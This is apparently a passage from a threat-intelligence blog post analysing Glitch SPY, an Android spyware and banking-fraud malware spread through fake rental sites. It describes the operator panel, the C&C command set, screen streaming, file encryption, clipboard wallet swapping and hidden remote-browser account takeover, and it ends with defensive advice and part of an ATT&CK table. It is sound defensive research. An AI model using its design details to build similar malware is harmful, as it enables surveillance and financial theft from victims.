<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-3-Glitch-SPY-admin-login-panel.png" alt="" class="wp-image-121437"><figcaption class="wp-element-caption"><em>Figure 3 - Glitch SPY admin login panel</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Before authentication, the admin panel exposed a partial view of the Glitch SPY dashboard, revealing multiple modules, including:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121438,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-4-%E2%80%93-Glitch-SPY-dashboard.png" alt="Figure 4 – Glitch SPY dashboard" class="wp-image-121438"><figcaption class="wp-element-caption"><em>Figure 4 – Glitch SPY dashboard</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The <strong>Agents</strong> module appears to be designed to list infected devices and search for victims by name, agent ID, device details, or IP address.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The <strong>Viewer</strong> module provides live screen viewing and remote-control operations, including remote input, pattern unlock, screen streaming, screenshots, screen-reader extraction, Android navigation controls, camera access, audio capture, keylogging, clipper operations, file management, SMS access, contacts, call logs, location tracking, installed applications, device accounts, system information, remote browser interaction, shell access, permission prompting, Device Admin control, biometric prompt suppression, app hiding, and self-uninstall functionality.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The <strong>Builder</strong> module allows TA to configure and compile Android payloads using Gradle on the server. Configurable options include the application name, package name, launcher icon, version information, foreground notification text, decoy WebView URL, feature modules, Device Admin activation, and Telegram alert settings.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The <strong>Cryptor</strong> module is present but marked as “Coming soon,” suggesting planned support for APK repacking, fresh signing, payload noise under assets, and mirror obfuscation layers while preserving installability.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The <strong>Dropper</strong> module appears to allow TA to wrap a generated payload inside a separate dropper APK, supporting staged delivery.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>The <strong>Payloads</strong> module appears to store APKs generated by the Builder and Dropper modules.</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Once the user installs the downloaded application, it functions as a dropper and presents a fake update-style screen to guide the victim through the required installation and permission steps. The dropper first attempts to convince the user to allow installation from unknown sources. After this permission is granted, the Glitch SPY payload is installed on the device.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>After installation, Glitch SPY prompts the user to enable the Android Accessibility Service. Once Accessibility access is enabled, the malware abuses this capability to automate permission grants and continue its post-installation activity with minimal user interaction.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This allows Glitch SPY to obtain the permissions required for remote control, screen capture, keylogging, SMS theft, file access, camera and microphone surveillance, clipboard monitoring, and other intrusive operations.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>A detailed technical analysis of these capabilities is provided in the following section.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Technical Analysis</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The application downloaded from the fraudulent website was identified as the Brokewell Android Loader, based on its package naming pattern and its use of techniques designed to circumvent Android permission restrictions. CRIL first documented the Brokewell Android Loader and the Brokewell Banking Trojan in April 2024.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>After installation, the loader presents a fake update-themed screen and prompts the user to allow installation of applications from unknown sources. Once the user grants this permission, the loader installs the Glitch SPY payload on the device.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121441,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-5-Glitch-SPY-installation-activity.png" alt="" class="wp-image-121441"><figcaption class="wp-element-caption"><em>Figure 5 - Glitch SPY installation activity</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Abuse of Android Accessibility Service</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Following installation, Glitch SPY immediately attempts to obtain Android Accessibility Service access, which is required for several of its core capabilities. After the user enables the Accessibility Service, the malware abuses this permission to observe UI elements, interact with on-screen content, perform gestures, click buttons, extract visible text, and automate permission approval flows with limited user interaction.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The malware includes logic for remote tap and swipe actions, screen-reader text extraction, gesture dispatch, automated permission granting, keyguard interaction, PIN/password entry, pattern unlock assistance, biometric prompt handling, and force-stop or uninstall interruption. This makes Accessibility the primary mechanism Glitch SPY uses to support TA-driven control of the infected device and to continue post-installation activity.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Command and Control</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>After installation, Glitch SPY starts its core C&amp;C service and establishes a persistent WebSocket-based communication channel with the command-and-control server. The malware Glitch SPY refers to the device as an agent, assigns an agent_id to the infected device, collects device metadata, and sends an initial hello message along with deviceInfo to register the infected device with the C&amp;C panel. The server responds with a hello_ack, after which the implant maintains connectivity using heartbeat and ping logic.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The implant executes the requested action locally and returns the output through response messages such as command_result, screen_frame, sms_data, contacts_data, file_list, and browser_command_result.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The complete list of commands is provided below.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Command</strong></td>
<td><strong>Feature</strong></td>
</tr>
<tr>
<td>request_screen_stream</td>
<td>Starts live screen streaming from the infected device to the C&amp;C panel.</td>
</tr>
<tr>
<td>stop_screen_stream</td>
<td>Stops the active screen-streaming session.</td>
</tr>
<tr>
<td>request_screenshot</td>
<td>Captures a screenshot of the infected device screen and returns it to the C&amp;C.</td>
</tr>
<tr>
<td>request_screen_reader_text</td>
<td>Uses Accessibility to extract visible on-screen text and send it to the C&amp;C Server.</td>
</tr>
<tr>
<td>request_sms</td>
<td>Collects SMS messages from the infected device.</td>
</tr>
<tr>
<td>send_sms</td>
<td>Sends an SMS message from the infected device using TA provided content.</td>
</tr>
<tr>
<td>request_contacts</td>
<td>Extracts the victim’s contact list.</td>
</tr>
<tr>
<td>request_call_log</td>
<td>Collects call history from the infected device.</td>
</tr>
<tr>
<td>request_location</td>
<td>Retrieves the device location.</td>
</tr>
<tr>
<td>request_app_list</td>
<td>Enumerates installed applications on the device.</td>
</tr>
<tr>
<td>request_device_accounts</td>
<td>Collects account information configured on the Android device.</td>
</tr>
<tr>
<td>request_system_info</td>
<td>Collects device metadata</td>
</tr>
<tr>
<td>request_file_list</td>
<td>Lists files and folders from a specified path on the device.</td>
</tr>
<tr>
<td>request_file_download</td>
<td>Downloads a selected file from the infected device to the C&amp;C.</td>
</tr>
<tr>
<td>request_folder_zip_download</td>
<td>Compresses a folder and prepares it for download</td>
</tr>
<tr>
<td>file_upload_start</td>
<td>Starts a file upload session.</td>
</tr>
<tr>
<td>file_upload_chunk</td>
<td>Transfers a chunk of a file being uploaded to the infected device.</td>
</tr>
<tr>
<td>file_upload_finish</td>
<td>Finalizes the file upload operation on the device.</td>
</tr>
<tr>
<td>file_upload_cancel</td>
<td>Cancels an active file upload session.</td>
</tr>
<tr>
<td>file_mkdir</td>
<td>Creates a new directory on the infected device.</td>
</tr>
<tr>
<td>file_rename</td>
<td>Renames a selected file or folder on the device.</td>
</tr>
<tr>
<td>file_run</td>
<td>Opens or executes a selected file on the infected device.</td>
</tr>
<tr>
<td>file_zip_here</td>
<td>Creates a ZIP archive next to the selected folder on the device.</td>
</tr>
<tr>
<td>file_crypto_lock</td>
<td>Encrypts a selected file, likely producing a .enc file and removing the original.</td>
</tr>
<tr>
<td>file_crypto_unlock</td>
<td>Decrypts a previously encrypted .enc file.</td>
</tr>
<tr>
<td>request_offline_keylog</td>
<td>Retrieves offline keylog data from the device.</td>
</tr>
<tr>
<td>start_keylogger</td>
<td>Starts keylogging</td>
</tr>
<tr>
<td>stop_keylogger</td>
<td>Stops the active keylogging module.</td>
</tr>
<tr>
<td>request_camera_stream</td>
<td>Starts camera streaming from the infected device.</td>
</tr>
<tr>
<td>stop_camera_stream</td>
<td>Stops the active camera stream.</td>
</tr>
<tr>
<td>start_audio</td>
<td>Starts audio capture from the infected device.</td>
</tr>
<tr>
<td>stop_audio</td>
<td>Stops audio capture.</td>
</tr>
<tr>
<td>start_clipboard_monitor</td>
<td>Starts monitoring the device clipboard.</td>
</tr>
<tr>
<td>stop_clipboard_monitor</td>
<td>Stops clipboard monitoring.</td>
</tr>
<tr>
<td>clipper_get_config</td>
<td>Retrieves the current crypto-clipper configuration from the device.</td>
</tr>
<tr>
<td>clipper_set_config</td>
<td>Pushes or updates clipper rules, likely including wallet replacement addresses.</td>
</tr>
<tr>
<td>clipper_inject_clipboard</td>
<td>Forces/injects clipboard content on the victim device.</td>
</tr>
<tr>
<td>execute_command</td>
<td>Executes a TA-provided shell command on the infected device.</td>
</tr>
<tr>
<td>remote_browser_start</td>
<td>Starts a remote browser session on the infected device.</td>
</tr>
<tr>
<td>remote_browser_stop</td>
<td>Stops the remote browser session.</td>
</tr>
<tr>
<td>remote_browser_navigate</td>
<td>Navigates the remote browser to a supplied URL.</td>
</tr>
<tr>
<td>remote_browser_click</td>
<td>Performs a click action inside the remote browser session.</td>
</tr>
<tr>
<td>remote_browser_text</td>
<td>Enter the TA-provided text into the remote browser.</td>
</tr>
<tr>
<td>remote_browser_swipe</td>
<td>Performs a swipe gesture inside the remote browser session.</td>
</tr>
<tr>
<td>remote_browser_key</td>
<td>Sends keyboard key actions to the remote browser, such as Enter, Backspace, Tab, or arrow keys.</td>
</tr>
<tr>
<td>remote_browser_js_fill</td>
<td>Fills fields in the remote browser using JavaScript-style automation.</td>
</tr>
<tr>
<td>remote_browser_clear_field</td>
<td>Clears a selected input field in the remote browser.</td>
</tr>
<tr>
<td>remote_browser_action</td>
<td>Performs a generic browser-side action, likely used for submit, back, reload, or similar UI actions.</td>
</tr>
<tr>
<td>remote_browser_set_mode</td>
<td>Switches the remote browser view mode, such as desktop/mobile mode.</td>
</tr>
<tr>
<td>remote_browser_fps</td>
<td>Adjusts the remote browser streaming or update frame rate.</td>
</tr>
<tr>
<td>tap_ui_submit</td>
<td>Attempts to tap a visible submit/OK/Done button or sends Enter to submit the current UI.</td>
</tr>
<tr>
<td>pattern_fetch</td>
<td>Retrieves a stored Android unlock pattern from the malware/device-side store.</td>
</tr>
<tr>
<td>pattern_store</td>
<td>Saves a TA-provided Android unlock pattern for later reuse.</td>
</tr>
<tr>
<td>pattern_clear_store</td>
<td>Clears the saved unlock pattern from storage.</td>
</tr>
<tr>
<td>pattern_auto_unlock</td>
<td>Uses a saved or provided pattern to attempt automatic device unlock.</td>
</tr>
<tr>
<td>credential_fetch</td>
<td>Retrieves a stored PIN/password credential value or credential state.</td>
</tr>
<tr>
<td>credential_manual_save</td>
<td>Saves a PIN/password credential provided by the TA on the device side.</td>
</tr>
<tr>
<td>credential_manual_save_unlock</td>
<td>Saves a supplied credential and immediately attempts to unlock the device with it.</td>
</tr>
<tr>
<td>credential_auto_unlock</td>
<td>Attempts to unlock the device automatically using a previously captured or saved credential.</td>
</tr>
<tr>
<td>credential_clear</td>
<td>Clears the stored PIN/password credentials from the malware’s storage.</td>
</tr>
<tr>
<td>prompt_permission_notifications</td>
<td>Opens or triggers the Android notification permission flow.</td>
</tr>
<tr>
<td>prompt_permission_storage</td>
<td>Opens or triggers the storage permission flow.</td>
</tr>
<tr>
<td>prompt_permission_location</td>
<td>Opens or triggers the location permission flow.</td>
</tr>
<tr>
<td>prompt_permission_battery</td>
<td>Opens the battery optimization exemption flow.</td>
</tr>
<tr>
<td>prompt_permission_all_files</td>
<td>Opens the “All files access” permission screen.</td>
</tr>
<tr>
<td>activate_device_admin</td>
<td>Launches or triggers Device Admin activation for the malware.</td>
</tr>
<tr>
<td>deactivate_device_admin</td>
<td>Attempts to remove Device Admin rights from the malware.</td>
</tr>
<tr>
<td>block_biometric</td>
<td>Enables/disables biometric prompt suppression to force PIN/password fallback.</td>
</tr>
<tr>
<td>wake_screen</td>
<td>Wake the victim's device screen.</td>
</tr>
<tr>
<td>lock_device</td>
<td>Locks the device screen</td>
</tr>
<tr>
<td>hide_screen</td>
<td>Hides the visible device screen from the victim's side</td>
</tr>
<tr>
<td>hide_app</td>
<td>Hides the malware application icon or disables its launcher component.</td>
</tr>
<tr>
<td>show_app</td>
<td>Restores the malware application launcher component.</td>
</tr>
<tr>
<td>self_uninstall</td>
<td>Attempts to uninstall the malware from the device.</td>
</tr>
<tr>
<td>uninstall_app</td>
<td>Attempts to uninstall a specified application from the device.</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Screen Capture and Live Streaming</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY can remotely view the victim’s screen and interact with the device in near real time.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>When the TA issues the request_screen_stream command from the C&amp;C panel, the malware initiates its screen capture module and begins sending screen frames back to the server as screen_frame messages.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The TA’s panel includes options to control stream quality, FPS, and scale, indicating that the stream can be adjusted based on device state and network conditions.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121445,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-6-%E2%80%93-Screen-capture-Activity.png" alt="" class="wp-image-121445"><figcaption class="wp-element-caption"><em>Figure 6 – Screen capture Activity</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>For a one-time capture, the TA can use request_screenshot, which instructs the malware to capture the device's screen and return the image to the C&amp;C. When visual streaming is unavailable or insufficient, the user can use request_screen_reader_text, which abuses the Android Accessibility Service to extract visible text from the active screen.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This allows the malware to collect sensitive information displayed in banking applications, <a href="https://cyble.com/knowledge-hub/top-secure-messaging-apps-encrypted-chats/">messaging apps</a>, OTP prompts, browser pages, and authentication screens.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>In addition to visual monitoring, this capability supports hands-on fraud activity. By combining live screen streaming with Accessibility-based remote input, the TA can observe the victim’s device, understand the active application context, and perform follow-up actions such as tapping buttons, entering text, navigating screens, or capturing credentials.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>File Manager and File Encryption</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY includes a remote file manager that allows the TA to browse, retrieve, modify, and manipulate files on the infected device. When the TA sends request_file_list, the malware lists files and folders from the requested directory and returns the results to the C&amp;C as a file listing.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>If the TA selects a file for exfiltration, the malware reads it and sends it back to the server. For folders, the malware compresses the selected directory before exfiltration, making it easier for the TA to retrieve multiple files.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY also includes file encryption and decryption functionality through the file_crypto_lock and file_crypto_unlock commands. When file_crypto_lock is issued, the malware encrypts the selected file using AES/GCM/NoPadding, creates an encrypted .enc version, and removes the original plaintext file.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The encrypted file uses the FMENC1 header followed by cryptographic metadata and ciphertext. If standard deletion of the plaintext file fails, the malware uses a secure-delete routine that overwrites the file with random data, truncates it, syncs the file descriptor, and then attempts to delete it.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121447,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-7-%E2%80%93-File-encryption-logic.png" alt="" class="wp-image-121447"><figcaption class="wp-element-caption"><em>Figure 7 – File encryption logic</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Although file encryption could be abused for extortion, the analyzed sample does not confirm an automated mass-encryption routine, ransom note, payment workflow, or victim-facing ransom screen.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Crypto Clipper Functionality</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The crypto-clipper module is designed to monitor clipboard activity on the infected device and replace copied <a href="https://cyble.com/blog/cryptocurrency-firms-being-raided-by-cybercriminals/">cryptocurrency</a> wallet addresses with TA-configured addresses.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The module supports multiple wallet formats, including ETH/EVM addresses beginning with 0x, TRON/TRX addresses beginning with T, Bitcoin legacy addresses beginning with 1 or 3, and Bitcoin Bech32 addresses beginning with bc1q or bc1p. The code also includes URI-style prefixes such as bitcoin:, ethereum:, erc20:, tron:, bsc:, matic:, polygon:, arbitrum:, optimism:, base:, and ton:, indicating that the malware can detect wallet addresses copied in both plain-text and URI-prefixed formats.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121453,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-8-%E2%80%93-Malware-implemented-crypto-wallet-address-pattern-match.png" alt="Figure 8 – Malware implemented crypto wallet address pattern match" class="wp-image-121453"><figcaption class="wp-element-caption"><em>Figure 8 – Malware implemented crypto wallet address pattern match</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>When the TA issues the start_clipboard_monitor command, Glitch SPY begins tracking clipboard changes on the infected device. Before performing any replacement, the clipper module is enabled in the configuration.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>If replacement is active, the malware reads the current clipboard content, extracts text from available clipboard items, removes null bytes and hidden formatting characters, normalizes whitespace, and attempts to identify a supported cryptocurrency wallet address.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>If a valid wallet address is detected, Glitch SPY selects a configured replacement address from the same cryptocurrency family and ensures it is different from the victim-copied address. It then updates the clipboard using Android’s ClipboardManager.setPrimaryClip() API, replacing the victim’s original wallet address with the attacker-controlled value.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>After the replacement, the malware reports the event to the C&amp;C server, including the original address, replacement address, and detected cryptocurrency type, such as ETH/EVM, TRX, or BTC.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121454,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-9-Crypto-clipper-clipboard-replacement-logic.png" alt="" class="wp-image-121454"><figcaption class="wp-element-caption"><em>Figure 9 - Crypto clipper clipboard replacement logic</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Remote Browser Capability</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY’s remote browser capability allows the TA to open and control a browser session directly on the infected device. The malware receives a URL from the C&amp;C server and loads it inside a WebView on the victim’s device. It also supports switching between mobile and desktop browsing modes, allowing the TA to control how websites render during the session.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The browser session runs in a hidden off-screen window, keeping it active without alerting the victim. After the browser session is initialized, the malware reports the session status, loaded URL, browsing mode, and window details back to the C&amp;C server. This allows the TA to confirm that the browser session is active and ready for interaction.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121455,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-10-Remote-browser-activity.png" alt="" class="wp-image-121455"><figcaption class="wp-element-caption"><em>Figure 10 - Remote browser activity</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The TA can further control the session using commands to navigate to URLs, click page elements, enter text, swipe through pages, send keyboard actions, and fill or clear web form fields.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>When combined with screen streaming, keylogging, screen-reader extraction, clipboard monitoring, and Accessibility-based input, the remote browser capability provides a complete workflow for web-based account takeover and transaction manipulation from the infected device itself.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121457,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-11-%E2%80%93-Commands-to-control-WebView-sessions.png" alt="" class="wp-image-121457"><figcaption class="wp-element-caption"><em>Figure 11 – Commands to control WebView sessions</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The feature can let attacker-controlled web activity originate from the victim’s own device rather than from external attacker infrastructure.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This means the attacker's web activity originates from the victim's IP, with the victim's cookies and any active authenticated sessions intact — making it harder for banks or crypto platforms to flag the login as suspicious.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>In fraud scenarios, this may allow attackers to interact with login pages, financial portals, cryptocurrency services, email accounts, or other web applications from the victim’s environment.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Conclusion</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY is a capable, actively developing Android threat combining surveillance, remote control, financial fraud, and account takeover within a single platform.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Its use of the established Brokewell loader for delivery, its abuse of the Accessibility Service to automate permission grants after a single user action, and its Builder, Dropper, and payload-management modules indicate a TA investing in a reusable framework rather than a one-off campaign.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Builder's per-payload configuration options (custom name, icon, package ID, and decoy WebView URL) mean retargeting for a new region or lure requires no code changes.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>While the current activity appears targeted at users searching for rental properties in Poland, one recovered APK and two identified C&amp;C panel URLs suggest early-stage distribution. The "Coming soon" Cryptor module and active panel development indicate the platform is still expanding.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Users should avoid installing APKs from outside official app stores. The loader's first action is requesting permission to install from unknown sources; denying it stops the payload before it installs.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Any app that requests Accessibility Service or installs from unknown sources should be treated as suspicious. Keep Google Play Protect enabled.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Our Recommendations</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>We have listed some essential <a href="https://cyble.com/knowledge-hub/what-is-cybersecurity/">cybersecurity</a> best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Install Apps Only from Trusted Sources:</strong><br>Download apps exclusively from official platforms, such as the <a href="https://cyble.com/blog/crypto-phishing-applications-on-the-play-store/">Google Play Store</a>. Avoid third-party app stores or links received via SMS, social media, or email.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Be Cautious with Permissions and Installs:</strong><br>Never grant permissions and install an application unless you're certain of an app's legitimacy.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Watch for Phishing Pages:</strong><br>Always verify the URL and avoid suspicious links and websites that ask for sensitive information.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Enable Multi-Factor Authentication (MFA):</strong><br>Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Report Suspicious Activity:</strong><br>If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Use Mobile Security Solutions:</strong><br>Install a mobile security application that includes real-time scanning.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Keep Your Device Updated:</strong><br> Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">MITRE ATT&amp;CK® Techniques</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Tactic</strong></td>
<td><strong>Technique ID</strong></td>
<td><strong>Procedure</strong></td>
</tr>
<tr>
<td>Initial Access (<a href="https://attack.mitre.org/tactics/TA0027">TA0027</a>)</td>
<td>Phishing (<a href="https://attack.mitre.org/techniques/T1660/">T1660</a>)</td>
<td>Glitch SPY is distributed via phishing sites</td>
</tr>
<tr>
<td>Persistence (<a href="https://attack.mitre.org/tactics/TA0028">TA0028</a>)</td>
<td>Event Triggered Execution: Broadcast Receivers (T1624.001)</td>
<td>Glitch SPY implemented a broadcast receiver for screen capturing</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)<strong></strong></td>
<td>Impair Defenses: Prevent Application Removal (T1629.001)</td>
<td>Prevent uninstalling application</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)<strong></strong></td>
<td>Hide Artifacts: Suppress Application Icon (<a href="https://attack.mitre.org/techniques/T1628/001/">T1628.001</a>)</td>
<td>Glitch SPY hides its icon</td>
</tr>
<tr>
